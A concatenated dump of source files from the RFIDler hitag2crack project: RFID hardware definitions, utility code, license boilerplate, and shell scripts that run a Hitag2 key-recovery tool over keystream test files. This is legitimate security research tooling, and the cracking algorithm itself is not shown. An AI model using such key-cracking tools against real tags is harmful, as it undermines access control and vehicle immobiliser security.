* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
#include
#include
// BCD hardware revision for usb descriptor (usb_descriptors.c)
#define RFIDLER_HW_VERSION 0x020
// max sizes in BITS
#define MAXBLOCKSIZE 512
#define MAXTAGSIZE 4096
#define MAXUID 512
#define TMP_LARGE_BUFF_LEN 2048
#define TMP_SMALL_BUFF_LEN 256
#define ANALOGUE_BUFF_LEN 8192
#define COMMS_BUFFER_SIZE 128
#define DETECT_BUFFER_SIZE 512
#define SAMPLEMASK ~(BIT_1 | BIT_0) // mask to remove two bottom bits from analogue sample - we will then use those for reader & bit period
// globals
extern BOOL WiegandOutput; // Output wiegand data whenenver UID is read
extern BYTE *EMU_Reset_Data; // Pointer to full array of bits as bytes, stored as 0x00/0x01, '*' terminated
extern BYTE *EMU_Data; // Pointer to current location in EMU_Reset_Data
extern BYTE EMU_ThisBit; // The next data bit to transmit
extern BYTE EMU_SubCarrier_T0; // Number of Frame Clocks for sub-carrier '0'
extern BYTE EMU_SubCarrier_T1; // Number of Frame Clocks for sub-carrier '1'
extern unsigned int EMU_Repeat; // Number of times to transmit full data set
extern BOOL EMU_Background; // Emulate in the background until told to stop
extern unsigned int EMU_DataBitRate; // Number of Frame Clocks per bit
extern BYTE TmpBits[TMP_LARGE_BUFF_LEN]; // Shared scratchpad
extern BYTE ReaderPeriod; // Flag for sample display
extern unsigned char Comms_In_Buffer[COMMS_BUFFER_SIZE]; // USB/Serial buffer
extern BYTE Interface; // user interface - CLI or API
extern BYTE CommsChannel; // user comms channel - USB or UART
extern BOOL FakeRead; // flag for analogue sampler to signal it wants access to buffers during read
extern BOOL PWD_Mode; // is this tag password protected?
extern BYTE Password[9]; // 32 bits as HEX string set with LOGIN
extern unsigned int Led_Count; // LED status counter, also used for entropy
extern unsigned long Reader_Bit_Count; // Reader ISR bit counter
extern char Previous; // Reader ISR previous bit type
// RWD (read/write device) coil state
extern BYTE RWD_State; // current state of RWD coil
extern unsigned int RWD_Fc; // field clock in uS
extern unsigned int RWD_Gap_Period; // length of command gaps in OC5 ticks
extern unsigned int RWD_Zero_Period; // length of '0' in OC5 ticks
extern unsigned int RWD_One_Period; // length of '1' in OC5 ticks
extern unsigned int RWD_Sleep_Period; // length of initial sleep to reset tag in OC5 ticks
extern unsigned int RWD_Wake_Period; // length required for tag to restart in OC5 ticks
extern unsigned int RWD_Wait_Switch_TX_RX; // length to wait when switching from TX to RX in OC5 ticks
extern unsigned int RWD_Wait_Switch_RX_TX; // length to wait when switching from RX to TX in OC5 ticks
extern unsigned int RWD_Post_Wait; // low level ISR wait period in OC5 ticks
extern unsigned int RWD_OC5_config; // Output Compare Module settings
extern unsigned int RWD_OC5_r; // Output Compare Module primary compare value
extern unsigned int RWD_OC5_rs; // Output Compare Module secondary compare value
extern BYTE RWD_Command_Buff[TMP_SMALL_BUFF_LEN]; // Command buffer, array of bits as bytes, stored as 0x00/0x01, '*' terminated
extern BYTE *RWD_Command_ThisBit; // Current command bit
extern BOOL Reader_ISR_State; // current state of reader ISR
// NVM variables
// timings etc. that want to survive a reboot should go here
typedef struct {
BYTE Name[7]; // will be set to "RFIDler" so we can test for new device
BYTE AutoRun[128]; // optional command to run at startup
unsigned char TagType;
unsigned int PSK_Quality;
unsigned int Timeout;
unsigned int Wiegand_Pulse;
unsigned int Wiegand_Gap;
BOOL Wiegand_IdleState;
unsigned int FrameClock;
unsigned char Modulation;
unsigned int DataRate;
unsigned int DataRateSub0;
unsigned int DataRateSub1;
unsigned int DataBits;
unsigned int DataBlocks;
unsigned int BlockSize;
unsigned char SyncBits;
BYTE Sync[4];
BOOL BiPhase;
BOOL Invert;
BOOL Manchester;
BOOL HalfDuplex;
unsigned int Repeat;
unsigned int PotLow;
unsigned int PotHigh;
unsigned int RWD_Gap_Period;
unsigned int RWD_Zero_Period;
unsigned int RWD_One_Period;
unsigned int RWD_Sleep_Period;
unsigned int RWD_Wake_Period;
unsigned int RWD_Wait_Switch_TX_RX;
unsigned int RWD_Wait_Switch_RX_TX;
} StoredConfig;
// somewhere to store TAG data. this will be interpreted according to the TAG
// type.
typedef struct {
BYTE TagType; // raw tag type
BYTE EmulatedTagType; // tag type this tag is configured to emulate
BYTE UID[MAXUID + 1]; // Null-terminated HEX string
BYTE Data[MAXTAGSIZE]; // raw data
unsigned char DataBlocks; // number of blocks in Data field
unsigned int BlockSize; // blocksize in bits
} VirtualTag;
extern StoredConfig RFIDlerConfig;
extern VirtualTag RFIDlerVTag;
extern BYTE TmpBuff[NVM_PAGE_SIZE];
extern BYTE DataBuff[ANALOGUE_BUFF_LEN];
extern unsigned int DataBuffCount;
extern const BYTE *ModulationSchemes[];
extern const BYTE *OnOff[];
extern const BYTE *HighLow[];
extern const BYTE *TagTypes[];
// globals for ISRs
extern BYTE EmulationMode;
extern unsigned long HW_Bits;
extern BYTE HW_Skip_Bits;
extern unsigned int PSK_Min_Pulse;
extern BOOL PSK_Read_Error;
extern BOOL Manchester_Error;
extern BOOL SnifferMode;
extern unsigned int Clock_Tick_Counter;
extern BOOL Clock_Tick_Counter_Reset;
// smart card lib
#define MAX_ATR_LEN (BYTE)33
extern BYTE scCardATR[MAX_ATR_LEN];
extern BYTE scATRLength;
// RTC
extern rtccTime RTC_time; // time structure
extern rtccDate RTC_date; // date structure
// digital pots
#define POTLOW_DEFAULT 100
#define POTHIGH_DEFAULT 150
#define DC_OFFSET 60 // analogue circuit DC offset (as close as we can get without using 2 LSB)
#define VOLTS_TO_POT 0.019607843F
// RWD/clock states
#define RWD_STATE_INACTIVE 0 // RWD not in use
#define RWD_STATE_GO_TO_SLEEP 1 // RWD coil shutdown request
#define RWD_STATE_SLEEPING 2 // RWD coil shutdown for sleep period
#define RWD_STATE_WAKING 3 // RWD active for pre-determined period after reset
#define RWD_STATE_START_SEND 4 // RWD starting send of data
#define RWD_STATE_SENDING_GAP 5 // RWD sending a gap
#define RWD_STATE_SENDING_BIT 6 // RWD sending a data bit
#define RWD_STATE_POST_WAIT 7 // RWD finished sending data, now in forced wait period
#define RWD_STATE_ACTIVE 8 // RWD finished, now just clocking a carrier
// reader ISR states
#define READER_STOPPED 0 // reader not in use
#define READER_IDLING 1 // reader ISR running to preserve timing, but not reading
#define READER_RUNNING 2 // reader reading bits
// user interface types
#define INTERFACE_API 0
#define INTERFACE_CLI 1
// comms channel
#define COMMS_NONE 0
#define COMMS_USB 1
#define COMMS_UART 2
#define MAX_HISTORY 2 // disable most of history for now - memory issue
// tag write retries
#define TAG_WRITE_RETRY 5
// modulation modes - uppdate ModulationSchemes[] in tags.c if you change this
#define MOD_MODE_NONE 0
#define MOD_MODE_ASK_OOK 1
#define MOD_MODE_FSK1 2
#define MOD_MODE_FSK2 3
#define MOD_MODE_PSK1 4
#define MOD_MODE_PSK2 5
#define MOD_MODE_PSK3 6
// TAG types - update TagTypes[] in tags.c if you add to this list
#define TAG_TYPE_NONE 0
#define TAG_TYPE_ASK_RAW 1
#define TAG_TYPE_FSK1_RAW 2
#define TAG_TYPE_FSK2_RAW 3
#define TAG_TYPE_PSK1_RAW 4
#define TAG_TYPE_PSK2_RAW 5
#define TAG_TYPE_PSK3_RAW 6
#define TAG_TYPE_HITAG1 7
#define TAG_TYPE_HITAG2 8
#define TAG_TYPE_EM4X02 9
#define TAG_TYPE_Q5 10
#define TAG_TYPE_HID_26 11
#define TAG_TYPE_INDALA_64 12
#define TAG_TYPE_INDALA_224 13
#define TAG_TYPE_UNIQUE 14
#define TAG_TYPE_FDXB 15
#define TAG_TYPE_T55X7 16 // same as Q5 but different timings and no modulation-defeat
#define TAG_TYPE_AWID_26 17
#define TAG_TYPE_EM4X05 18
#define TAG_TYPE_TAMAGOTCHI 19
#define TAG_TYPE_HDX 20 // same underlying data as FDX-B, but different modulation & telegram
// various
#define BINARY 0
#define HEX 1
#define NO_ADDRESS -1
#define ACK TRUE
#define NO_ACK FALSE
#define BLOCK TRUE
#define NO_BLOCK FALSE
#define DATA TRUE
#define NO_DATA FALSE
#define DEBUG_PIN_ON HIGH
#define DEBUG_PIN_OFF LOW
#define FAST FALSE
#define SLOW TRUE
#define NO_TRIGGER 0
#define LOCK TRUE
#define NO_LOCK FALSE
#define NFC_MODE TRUE
#define NO_NFC_MODE FALSE
#define ONESHOT_READ TRUE
#define NO_ONESHOT_READ FALSE
#define RESET TRUE
#define NO_RESET FALSE
#define SHUTDOWN_CLOCK TRUE
#define NO_SHUTDOWN_CLOCK FALSE
#define SYNC TRUE
#define NO_SYNC FALSE
#define VERIFY TRUE
#define NO_VERIFY FALSE
#define VOLATILE FALSE
#define NON_VOLATILE TRUE
#define NEWLINE TRUE
#define NO_NEWLINE FALSE
#define WAIT TRUE
#define NO_WAIT FALSE
#define WIPER_HIGH 0
#define WIPER_LOW 1
// conversion for time to ticks
#define US_TO_TICKS 1000000L
#define US_OVER_10_TO_TICKS 10000000L
#define US_OVER_100_TO_TICKS 100000000L
// we can't get down to this level on pic, but we want to standardise on timings, so for now we fudge it
#define CONVERT_TO_TICKS(x) ((x / 10) * (GetSystemClock() / US_OVER_10_TO_TICKS))
#define CONVERT_TICKS_TO_US(x) (x / (GetSystemClock() / US_TO_TICKS))
#define TIMER5_PRESCALER 16
#define MAX_TIMER5_TICKS (65535 * TIMER5_PRESCALER)
// other conversions
// bits to hex digits
#define HEXDIGITS(x) (x / 4)
#define HEXTOBITS(x) (x * 4)
================================================
FILE: hitag2crack/crack2/runalltests.sh
================================================
for i in keystream*; do
./runtest.sh $i
done
================================================
FILE: hitag2crack/crack2/runtest.sh
================================================
#!/bin/bash
if [ "$1" == "" ]; then
echo "runtest.sh testfile"
echo "testfile name should be of the form:"
echo "keystream.key-KEY.uid-UID.nR-NR"
exit 1
fi
filename=$1
UIDV=`echo $1 | cut -d'-' -f3 | cut -d'.' -f1`
NR=`echo $1 | cut -d'-' -f4`
KEYV=`echo $1 | cut -d'-' -f2 | cut -d'.' -f1`
echo "********************"
echo "FILENAME = $filename"
echo "UID = $UIDV"
echo "NR = $NR"
echo "Expected KEY = $KEYV"
./ht2crack2search $filename $UIDV $NR
echo "Expected KEY = $KEYV"
echo "********************"
echo ""
================================================
FILE: hitag2crack/crack2/util.h
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2015 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
#define CRC16_MASK_CCITT 0x1021 // CRC-CCITT mask (ISO 3309, used in X25, HDLC)
#define CRC16_MASK_ISO_11785 0x8408 // ISO 11785 animal tags
#define CRC16_MASK_CRC16 0xA001 // standard CRC16 mask (used in ARC files)
/*
* Hitag Crypto support macros
* These macros reverse the bit order in a byte, or *within* each byte of a
* 16 , 32 or 64 bit unsigned integer. (Not across the whole 16 etc bits.)
*/
#define rev8(X) ((((X) >> 7) &1) + (((X) >> 5) &2) + (((X) >> 3) &4) \
+ (((X) >> 1) &8) + (((X) << 1) &16) + (((X) << 3) &32) \
+ (((X) << 5) &64) + (((X) << 7) &128) )
#define rev16(X) (rev8 (X) + (rev8 (X >> 8) << 8))
#define rev32(X) (rev16(X) + (rev16(X >> 16) << 16))
#define rev64(X) (rev32(X) + (rev32(X >> 32) << 32))
BYTE approx(unsigned long number, unsigned long target, unsigned char percentage);
unsigned int bcdtouint(BYTE *bcd, BYTE length);
unsigned long long bcdtoulonglong(BYTE *bcd, BYTE length);
void inttobinarray(BYTE *target, unsigned int source, unsigned int bits);
void ulongtobinarray(BYTE *target, unsigned long source, unsigned int bits);
void ulonglongtobinarray(BYTE *target, unsigned long long source, unsigned int bits);
void inttobinstring(BYTE *target, unsigned int source, unsigned int bits);
void ulongtobinstring(BYTE *target, unsigned long source, unsigned int bits);
BOOL ulongtohex(BYTE *target, unsigned long source);
unsigned int binarraytoint(BYTE *bin, BYTE length);
unsigned long long binarraytolonglong(BYTE *bin, BYTE length);
unsigned long binarraytoulong(BYTE *bin, BYTE length);
BYTE hextobyte(BYTE *hex);
void printhexreadable(BYTE *hex, BYTE maxlength);
unsigned long hextoulong(BYTE *hex);
unsigned long hexreversetoulong(BYTE *hex);
unsigned long long hextoulonglong(BYTE *hex);
unsigned long long hexreversetoulonglong(BYTE *hex);
char hextolonglong(unsigned long long *out, unsigned char *hex);
unsigned int hextobinarray(unsigned char *target, unsigned char *source);
unsigned int hextobinstring(unsigned char *target, unsigned char *source);
unsigned int binarraytohex(unsigned char *target, unsigned char *source, unsigned int length);
void hexprintbinarray(BYTE *bin, unsigned int length);
unsigned int binstringtohex(unsigned char *target, unsigned char *source);
unsigned int binstringtobinarray(BYTE *target, BYTE *source);
void binstringtobyte(BYTE *target, unsigned char *source, BYTE length);
void binarraytobinstring(BYTE *target, BYTE *source, unsigned int length);
void printhexasbin(unsigned char *hex);
void printbinashex(unsigned char *bin);
void invertbinarray(BYTE *target, BYTE *source, unsigned int length);
void invertbinstring(BYTE *target, BYTE *source);
void printbinarray(unsigned char *bin, unsigned int length);
unsigned char getbit(unsigned char byte, unsigned char bit);
void bytestohex(unsigned char *target, unsigned char *source, unsigned int length);
unsigned int manchester_encode(unsigned char *target, unsigned char *source, unsigned int length);
unsigned int manchester_decode(unsigned char *target, unsigned char *source, unsigned int length);
char * strip_newline(char *buff);
BOOL command_ack(BOOL data);
BOOL command_nack(BYTE *reason);
BOOL command_unknown(void);
void ToUpper(char *string);
void string_reverse(unsigned char *string, unsigned int length);
BOOL string_byteswap(unsigned char *string, unsigned int length);
BYTE parity(unsigned char *string, BYTE type, unsigned int length);
unsigned long get_reader_pulse(unsigned int timeout_us);
unsigned long get_reader_gap(unsigned int timeout_us);
unsigned int crc_ccitt(BYTE *data, unsigned int length);
unsigned int crc16(unsigned int crc, BYTE *data, unsigned int length, unsigned int mask);
void space_indent(BYTE count);
void xml_version(void);
void xml_header(BYTE *item, BYTE *indent);
void xml_footer(BYTE *item, BYTE *indent, BOOL newline);
void xml_indented_text(BYTE *data, BYTE indent);
void xml_item_text(BYTE *item, BYTE *data, BYTE *indent);
void xml_item_decimal(BYTE *item, BYTE num, BYTE *indent);
void xml_indented_array(BYTE *data, BYTE mask, unsigned int length, BYTE indent);
void xml_item_array(BYTE *item, BYTE *data, BYTE mask, unsigned int length, BYTE *indent);
================================================
FILE: hitag2crack/crack2/utilpart.c
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
#include
#include
#include "HardwareProfile.h"
#include "util.h"
#include "rfidler.h"
//#include "comms.h"
// rtc
rtccTime RTC_time; // time structure
rtccDate RTC_date; // date structure
// convert byte-reversed 8 digit hex to unsigned long
unsigned long hexreversetoulong(BYTE *hex)
{
unsigned long ret= 0L;
unsigned int x;
BYTE i;
if(strlen(hex) != 8)
return 0L;
for(i= 0 ; i < 4 ; ++i)
{
if(sscanf(hex, "%2X", &x) != 1)
return 0L;
ret += ((unsigned long) x) << i * 8;
hex += 2;
}
return ret;
}
// convert byte-reversed 12 digit hex to unsigned long
unsigned long long hexreversetoulonglong(BYTE *hex)
{
unsigned long long ret= 0LL;
BYTE tmp[9];
// this may seem an odd way to do it, but weird compiler issues were
// breaking direct conversion!
tmp[8]= '\0';
memset(tmp + 4, '0', 4);
memcpy(tmp, hex + 8, 4);
ret= hexreversetoulong(tmp);
ret <<= 32;
memcpy(tmp, hex, 8);
ret += hexreversetoulong(tmp);
return ret;
}
================================================
FILE: hitag2crack/crack3/HardwareProfile.h
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
